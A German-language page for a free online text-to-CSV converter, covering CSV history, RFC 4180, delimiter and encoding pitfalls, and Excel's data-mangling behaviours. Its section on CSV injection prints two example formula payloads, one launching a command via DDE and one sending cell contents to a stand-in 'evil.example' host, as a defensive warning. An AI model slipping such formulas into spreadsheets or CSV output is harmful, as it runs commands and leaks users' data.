Kostenloser Text-zu-CSV-Konverter
Konvertieren Sie tabellarische Textdaten in das CSV-Format. Erkennt Trennzeichen automatisch, behandelt Anführungszeichen und ermöglicht eine Vorschau vor dem Download.
Über das CSV-Format
CSV (Comma-Separated Values) ist ein einfaches Textformat zur Speicherung tabellarischer Daten. Jede Zeile entspricht einem Datensatz, und Werte werden durch Kommas getrennt. CSV wird von Tabellenkalkulationen, Datenbanken und Datenanalyse-Tools breit unterstützt.
Warum in CSV konvertieren?
- Datenportabilität · Konvertieren Sie aus jedem Textformat in CSV für einen einfachen Import in Tabellenkalkulationen.
- Universelles Format · CSV wird von Excel, Google Sheets, Datenbanken und Programmierwerkzeugen unterstützt.
- Datenbereinigung · Vereinheitlichen Sie inkonsistente Trennzeichen und Formatierung.
- API und Automatisierung · Das CSV-Format ist ideal für Massendatenoperationen und Integrationen.
- Archivformat · Bewahren Sie tabellarische Daten in einem menschenlesbaren, plattformunabhängigen Format auf.
Häufige Fragen
Welche Trennzeichen unterstützt der Konverter?
Er erkennt automatisch Tabulator, Leerzeichen, Komma, Semikolon und Pipe. Sie können auch ein eigenes Ein-Zeichen-Trennzeichen festlegen.
Wie behandle ich Felder mit Kommas?
Aktivieren Sie die Option „Felder mit Komma in Anführungszeichen setzen", um sie in Anführungszeichen einzuschließen, was sie CSV-konform macht.
Kann ich Kopfzeilen einschließen?
Ja, aktivieren Sie die Option „Kopfzeile einschließen", wenn Ihre erste Zeile Spaltennamen enthält.
Eine kurze Geschichte von CSV, älter als die Spezifikation, die es definiert
CSV ist das Format, das alle verwenden und niemandem gehört. Seine Herkunft ist informell. Die früheste dokumentierte Verwendung der Kommatrennung-Konvention geht auf 1972 zurück, als IBM Fortran (Level H Extended) listengesteuerte Ein-/Ausgabe unterstützte, bei der Kommas als Trenner zwischen Werten in einer Zeile dienten. In den 1970er- und 1980er-Jahren erfand jede Datenbank, jedes Tabellenkalkulationsprogramm, jedes Statistikpaket und jede Buchhaltungsanwendung, die Daten mit einem anderen Werkzeug austauschen musste, unabhängig irgendeine Variante von „Werte, getrennt durch irgendein Zeichen, in Zeilen, getrennt durch irgendein anderes Zeichen“. Es gab keine Spezifikation. Es gab kein leitendes Gremium. Es gab keine kanonische Implementierung. Es gab nur Konsens, im lockerstmöglichen Sinne.
Anfang der 2000er-Jahre wurden die Kosten des Chaos unmöglich zu ignorieren. Die IETF nahm schließlich eine Spezifikation an, RFC 4180, „Common Format and MIME Type for Comma-Separated Values (CSV) Files“, im Oktober 2005 von Yakov Shafranovich veröffentlicht. RFC 4180 ist kurz, nur eine Handvoll Seiten, und kodifizierte das, worauf sich die meisten bereits geeinigt hatten: ein Komma als Feldtrenner, doppelte Anführungszeichen als optionales Einschlusszeichen für Felder, die Kommas, Anführungszeichen oder Zeilenumbrüche enthalten, verdoppelte doppelte Anführungszeichen ("") als Weg, ein wörtliches Anführungszeichen innerhalb eines zitierten Feldes zu maskieren, CRLF als Zeilenabschluss und text/csv als den bei IANA registrierten MIME-Typ. Die Spezifikation definierte außerdem einen optionalen header-Parameter für den MIME-Typ, damit ein Absender einem Empfänger mitteilen konnte, ob die erste Zeile eine Kopfzeile ist.
RFC 4180 ist informativ, keine strikte Norm. Die Einhaltung ist freiwillig. Aber sie gibt uns ein Ziel, das Nächste, was CSV an einer Definition von „korrekt“ hat. Ein späteres Dokument, das W3C-„Model for Tabular Data and Metadata on the Web“ (CSVW, 2015), versuchte, die Metadaten-Geschichte für CSV zu erweitern, indem es eine JSON-Beidatei anhängt, die angibt, was jede Spalte ist und wie sie zu interpretieren ist. CSVW wird viel zitiert und selten eingesetzt.
„CSV“ in freier Wildbahn bedeutet nicht das, was RFC 4180 sagt
Jeder, der einmal eine CSV-Datei von einem Fremden erhalten musste, kennt die Gestalt des Problems. Die Uneinigkeiten verteilen sich auf mehrere Achsen:
- Das Trennzeichen. RFC 4180 sagt Komma. Europäische Excel-Installationen in Ländern, in denen das Komma das Dezimaltrennzeichen ist (der Großteil Kontinentaleuropas, Frankreich, Deutschland, Italien, Spanien, die Niederlande, Brasilien), schreiben CSV standardmäßig mit einem Semikolon als Trenner, weil ein Komma mit Zahlenwerten wie
3,14für π kollidieren würde. Die Dateiendung ist weiterhin.csv; der MIME-Typ ist weiterhintext/csv; der Inhalt ist nicht das, was ein amerikanischer oder britischer Empfänger erwartet. - Anführungszeichen. RFC 4180 sagt, in doppelte Anführungszeichen einzuschließen, wenn ein Feld das Trennzeichen, ein Anführungszeichen oder einen Zeilenumbruch enthält; die eingebetteten Anführungszeichen zu verdoppeln (sodass
He said "hi"zu"He said ""hi"""wird). In der Praxis setzen viele alles in Anführungszeichen (paranoid), manche gar nichts (und scheitern, sobald ein Komma auftaucht), und einige maskieren mit Backslash (\"), eine C-Konvention, die RFC-konforme Parser scheitern lässt. - Zeilenenden. RFC 4180 schreibt CRLF vor (
\r\n). Excel unter Windows erzeugt CRLF. Excel auf dem klassischen Mac erzeugte nur CR (\r). Die meisten Unix- und Linux-Werkzeuge erzeugen LF (\n). Alle drei tauchen in Dateien auf, die als.csvbezeichnet sind, und die Variation lässt Parser scheitern, die eine Erwartung fest einprogrammieren. - Abschließende Zeilenumbrüche. Manche Schreiber schließen den letzten Datensatz mit einem Zeilenumbruch ab; andere nicht. Parser, die Datensätze durch Zählen der Zeilenumbrüche zählen, melden je nach Eingabe Off-by-one-Fehler.
- Kopfzeilen. Dateien in freier Wildbahn teilen sich grob hälftig auf. Der MIME-Typ erlaubt einen
header=present-Parameter, aber niemand sendet MIME-Header, wenn er Ihnen eine CSV-Datei per E-Mail schickt, also müssen Sie raten.
Die BOM-Falle
Dies verdient einen eigenen Abschnitt, weil es die mit Abstand häufigste Quelle plattformübergreifender CSV-Schmerzen ist. Microsoft Excel erkennt eine UTF-8-codierte CSV-Datei nicht automatisch, es sei denn, die Datei beginnt mit einer UTF-8-Byte-Reihenfolge-Markierung: den drei Bytes EF BB BF, die das Unicode-Zeichen U+FEFF codieren. Ohne die BOM öffnet Excel die Datei in der veralteten Codepage des Windows-Gebietsschemas des Nutzers (Windows-1252 im Westen, Shift_JIS in Japan, GBK in Festlandchina). Jedes Nicht-ASCII-Zeichen (Buchstaben mit Akzent, Währungssymbole, Emoji, CJK-Zeichen) wird verstümmelt.
Die Lösung besteht darin, die BOM voranzustellen. Der Preis ist, dass alles andere daran erstickt. Apple Numbers (bis zu neueren Versionen) zeigt die BOM als wörtliches Zeichen in der ersten Zelle. Viele Kommandozeilen-Werkzeuge (awk, cut, älteres sed) behandeln die BOM als Teil des ersten Feldes, sodass eine Kopfzeile, die name lauten sollte, name lautet. Die meisten JavaScript-CSV-Parser entfernen sie; viele ältere Python-Workflows mit dem csv-Modul nicht (Sie müssen die Datei mit dem Codec utf-8-sig öffnen). Da ein kostenloses Online-Tool nicht wissen kann, wo der Nutzer die Datei öffnen wird, ist es ein vernünftiger Standard, die BOM wegzulassen und zu dokumentieren, dass Excel-Nutzer Daten → Aus Text/CSV verwenden sollten (was den Nutzer immer UTF-8 ausdrücklich wählen lässt).
Excel liefert mindestens vier „CSV“-Formate
Excels Dialog „Speichern unter“ bietet mehr als eine CSV-Variante, und die Unterschiede sind von Bedeutung:
- CSV (Trennzeichen-getrennt) (*.csv): verwendet das Listentrennzeichen des Gebietsschemas des Nutzers (Komma in en-US/en-GB, Semikolon in fr-FR/de-DE/es-ES/it-IT/pt-BR). Die Codierung ist die veraltete ANSI-Codepage. Keine BOM. Zeilenenden CRLF.
- CSV UTF-8 (Trennzeichen-getrennt) (*.csv): dasselbe Trennzeichen-Verhalten wie oben (trotz des Namens weiterhin vom Gebietsschema gesteuert), aber in UTF-8 mit einer BOM codiert. Eingeführt in Excel 2016.
- CSV (Macintosh) (*.csv): kommagetrennt, MacRoman-Codierung, klassische Mac-Zeilenenden (nur CR). Weitgehend veraltet, taucht aber noch auf.
- CSV (MS-DOS) (*.csv): kommagetrennt, OEM-Codepage (CP437 in en-US, CP850 in Westeuropa), CRLF.
Die für den Nutzer sichtbare Bezeichnung sagt auf vier verschiedene Arten „CSV“. Der tatsächliche Dateiinhalt unterscheidet sich wesentlich. Das ist die praktische Realität, in der der Konverter arbeitet.
Warum speziell Text → CSV konvertieren
Die meisten Online-„CSV-Tools“ laufen in die umgekehrte Richtung: Sie nehmen eine CSV-Datei und geben etwas anderes aus (JSON, eine HTML-Tabelle, ein SQL-INSERT, ein druckbares PDF). Dieses läuft umgekehrt: Es nimmt unordentlichen Text und erzeugt sauberes CSV. Das ist der Anwendungsfall für:
- Eine Liste von E-Mail-Adressen in Tabellenzeilen säubern. Ein CRM-Bearbeiter kopiert 800 E-Mail-Adressen aus einem BCC-Feld in einen Texteditor. Jede E-Mail-Adresse muss für den Upload in ein Serienbrief-Werkzeug in einer eigenen Zeile einer Tabelle stehen. Einfügen, Kopfzeile hinzufügen, herunterladen.
- Eine aus einem PDF kopierte Tabelle umwandeln. PDF-Tabellen kommen beim Kopieren oft als Text an, bei dem Spalten durch Folgen von Leerzeichen (oder Tabulatoren, je nach PDF-Generator) getrennt sind. Ein flexibles Trennzeichen (einschließlich „aufeinanderfolgender Leerraum“) macht daraus ein sauberes Raster.
- KI-generierte Ausgaben umstrukturieren. Große Sprachmodelle geben mit Vorliebe Markdown-Tabellen aus. Ein Nutzer kann eine Markdown-Tabelle einfügen; der Konverter erkennt die Pipe-Trenner und die Bindestrich-Trennzeile; die Ausgabe ist ein echtes CSV.
- Logs in Excel oder Google Sheets importieren. Das Apache Combined Log Format, syslog-Datensätze und viele Anwendungs-Logs sind zeilenorientiert, aber nicht von Natur aus tabellenfreundlich. In CSV konvertieren, in einer Tabelle öffnen, sortieren, filtern, pivotieren.
- Daten für Datenbank-
COPY-Anweisungen vorbereiten. PostgreSQLsCOPY ... FROM STDIN WITH (FORMAT csv)liest CSV direkt. Ein Nutzer mit einer Liste in einer Textdatei kann einfügen, konvertieren und mit\copyin eine Tabelle laden, ohne ein Ladeskript zu schreiben. - CSV von Hand für Stapeloperationen erstellen. Stripe, Mailchimp, Shopify und die meisten SaaS-Plattformen bieten CSV-Import für Massenoperationen. Ein Nutzer, der 30 Produktpreise aktualisieren muss, baut die Zeilen manuell; das Werkzeug verwandelt seine getippte Liste in genau das CSV, das die Plattform erwartet.
Excel schreibt Ihre Daten um, manchmal stillschweigend
Eine Handvoll CSV-Fallen treffen selbst sorgfältige Nutzer:
- Führende Nullen verschwinden. Eine US-Postleitzahl
01234öffnet sich als1234. Eine Telefondurchwahl0049öffnet sich als49. Ein Produktcode00ABCöffnet sich alsABC, wenn Excel mittendrin entscheidet, dass die Spalte Text ist. Die einzige zuverlässige Abwehr besteht darin, entweder ein Apostroph voranzustellen (ein Anzeigetrick), die Spalte vorab als Text zu formatieren oder Excels Importpfad Daten → Aus Text/CSV zu verwenden, der Sie die Spaltentypen festlegen lässt. - Automatische Umwandlung in wissenschaftliche Notation. Eine lange Zahlenkette wie
0123456789012wird zu1.23457E+11, wenn Excel entscheidet, dass es eine Zahl ist. Die ursprünglichen Zeichen sind verschwunden. Dies beschädigte Datensätze mit Gennamen so berüchtigt stark, dass das HUGO Gene Nomenclature Committee 2020 mehrere Gene umbenannte, eigens, um Excels Umwandlung zu entkommen, Gensymbole wie MARCH1, SEPT2 und OCT4 hatten sich in Datumsangaben verwandelt. - Automatische Datumserkennung. Eine Spalte mit musikalischen Taktarten
3/4,4/4,6/8,7/8wird zu Datumsangaben: 3. April, 4. April, 6. August, 7. August. Dasselbe gilt für Seriennummern wie1-1und Zeiten wie1:30. - Hexadezimal-Interpretation.
0x1Aund0E5sind beide gültige, von Excel erkannte Zahlendarstellungen. Eine Spalte mit Registeradressen oder chemischen Verbindungscodes kann stillschweigend mutieren. - Der CSV-Injection-Angriff. Ein Feld, das mit
=,+,-,@oder einem Tabulator/CR beginnt, wird von Excel und Google Sheets als Formel interpretiert. Ein bösartiger Wert wie=cmd|'/c calc'!A0oder=HYPERLINK("https://evil.example/?d="&A1, "Click")kann benachbarte Zelleninhalte ausschleusen oder Shell-Befehle ausführen, je nach den Einstellungen des Tabellenkalkulationsprogramms. Jedes Werkzeug, das CSV aus von Nutzern eingereichtem Text erzeugt, sollte erwägen, führende Formelzeichen zu maskieren. - Zitierte Felder, die Zeilenumbrüche enthalten. Ein Feld wie
"Hello,\nworld"mit einem wörtlichen Zeilenumbruch innerhalb der Anführungszeichen ist ein Feld, das auf der Festplatte zwei Zeilen umfasst. Parser, die zuerst an Zeilenumbrüchen und dann an Kommas trennen, beschädigen die Daten stillschweigend. Korrektes CSV-Parsing ist ein Zustandsautomat, nicht zwei Durchläufe vonString.split.
Wo dieses Tool unter den modernen Alternativen zu CSV steht
CSV überlebt, weil es Text ist und Menschen es lesen können. Für den ernsthaften Datenaustausch haben mehrere Formate ihm in bestimmten Dimensionen den Rang abgelaufen:
- Apache Parquet. Ein binäres spaltenorientiertes Format. Dateien sind typisiert, komprimiert und spaltenorientiert (sodass
SELECT col1 FROM big_file.parquetnur diese Spalte von der Festplatte liest). Standard für Analyse-Workloads, Snowflake, BigQuery, Databricks und Athena lesen es nativ. Stärkster Anwärter für „was Sie statt CSV verwenden sollten, wenn Sie beide Enden kontrollieren“. Binär, also erfüllt es nicht den Anwendungsfall „ich kann das in einem Texteditor lesen“. - JSON Lines (JSONL / NDJSON). Ein JSON-Objekt pro Zeile. Verbindet die Streamfähigkeit von CSV mit der typisierten, verschachtelten Struktur von JSON. Weit verbreitet für Log-Aufnahme, ML-Datensätze und Ereignisströme. Kompromiss: ausführlicher als CSV (jeder Datensatz wiederholt jeden Schlüssel).
- Apache Arrow IPC (Feather v2). Ein binäres Format für tabellarische Daten, im Speicher und auf der Leitung, entworfen für den Zero-Copy-Austausch zwischen Prozessen und Sprachen. Stark genutzt in Data-Science-Toolchains (pandas, das arrow-Paket von R, Polars, DuckDB).
- Avro und ORC. Binäre, schematragende Formate aus dem Hadoop-Ökosystem. Außerhalb des Data Engineering weniger verbreitet.
Für einen kostenlosen Online-Konverter, der sich an Entwickler und Büroangestellte richtet, bleibt CSV das richtige Ausgabeformat, weil es überall die Lingua franca des Datenimports ist. Moderne Alternativen gibt es; sie haben CSV im Posteingang nicht verdrängt.
Weitere Fragen
Sollte ich der Ausgabe eine UTF-8-BOM hinzufügen?
Wenn die Datei für einen Doppelklick in Excel unter Windows bestimmt ist, ja, ohne die BOM öffnet Excel sie in der veralteten Codepage und verstümmelt Nicht-ASCII-Text. Wenn sie für etwas anderes bestimmt ist (Apple Numbers, Kommandozeilen-Skripte, Web-Upload-Formulare), lassen Sie die BOM weg. Der sicherste Weg ist, die BOM wegzulassen und Excel-Nutzer anzuweisen, über Daten → Aus Text/CSV zu importieren, wo sie UTF-8 ausdrücklich wählen können.
Meine CSV-Datei öffnet sich in Excel mit einer Zelle pro Zeile, was ist schiefgelaufen?
Fast immer eine Trennzeichen-Diskrepanz. Sie befinden sich in einem Gebietsschema, in dem Excel Semikolons erwartet (der Großteil Kontinentaleuropas), aber die Datei verwendet Kommas, oder umgekehrt. Öffnen Sie mit Daten → Aus Text/CSV statt per Doppelklick; dieser Assistent lässt Sie das Trennzeichen ausdrücklich wählen. Oder speichern Sie die Datei über Excels Menü „Speichern unter“ mit der Variante, die zu Ihrem lokalen Trennzeichen passt.
Was ist der Unterschied zwischen TSV und CSV?
TSV verwendet Tabulatorzeichen als Trenner statt Kommas, mit einem eigenen MIME-Typ text/tab-separated-values und IANA-Registrierung. Der Vorteil von TSV ist, dass Daten aus der realen Welt selten wörtliche Tabulatoren enthalten, sodass Anführungszeichen fast nie nötig sind; der Nachteil ist, dass Tabulatoren in Texteditoren unsichtbar sind und das Kopier-/Einfügeverhalten variiert. CSVs Anführungszeichen-Mechanik macht es sicher für Felder, die das Trennzeichen enthalten; TSV vermeidet das Problem meist ganz.
Gibt es einen CSV-Linter, den ich vor dem Teilen meiner Datei ausführen kann?
Ja, für die Kommandozeile meldet csvclean von csvkit Zeilen mit der falschen Spaltenzahl. Die frictionless-CLI von Frictionless Data validiert gegen ein optionales Schema. Für browserbasierte Arbeit meldet PapaParse Parse-Fehler Zeile für Zeile. Strikte Validierung gegen RFC 4180 (CRLF-Zeilenenden, Verdoppelung von Anführungszeichen zum Maskieren) ist in der Praxis selten; die meisten Parser akzeptieren jede der gängigen Varianten.